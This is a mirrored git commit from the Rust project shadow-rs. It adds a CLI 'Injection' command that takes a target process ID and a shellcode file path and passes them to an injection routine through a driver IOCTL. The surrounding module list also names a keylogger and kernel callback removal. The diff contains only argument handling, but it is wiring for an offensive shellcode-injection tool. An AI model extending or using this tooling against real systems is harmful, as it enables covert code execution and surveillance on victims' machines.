mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-09 10:34:42 +01:00
Adding cli commands for injection functionality
This commit is contained in:
@@ -107,6 +107,17 @@ pub enum Commands {
|
||||
#[arg(long)]
|
||||
restore: Option<usize>,
|
||||
},
|
||||
|
||||
/// Operations related to Injection
|
||||
Injection {
|
||||
/// The process ID to injection.
|
||||
#[arg(long, required = true)]
|
||||
pid: u32,
|
||||
|
||||
/// Path containing the shellcode
|
||||
#[arg(long, required = true)]
|
||||
path: String
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the subcommands for process operations.
|
||||
|
||||
@@ -11,7 +11,8 @@ use {
|
||||
signature_process, terminate_process
|
||||
},
|
||||
thread::{enumerate_thread, hide_unhide_thread},
|
||||
callback::{enumerate_callback, remove_callback, restore_callback}
|
||||
callback::{enumerate_callback, remove_callback, restore_callback},
|
||||
injection::injection_thread,
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -22,6 +23,7 @@ mod driver;
|
||||
mod process;
|
||||
mod keylogger;
|
||||
mod thread;
|
||||
mod injection;
|
||||
mod module;
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -195,5 +197,8 @@ fn main() {
|
||||
},
|
||||
}
|
||||
},
|
||||
Commands::Injection { pid, path } => {
|
||||
injection_thread(IOCTL_INJECTION, pid, path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user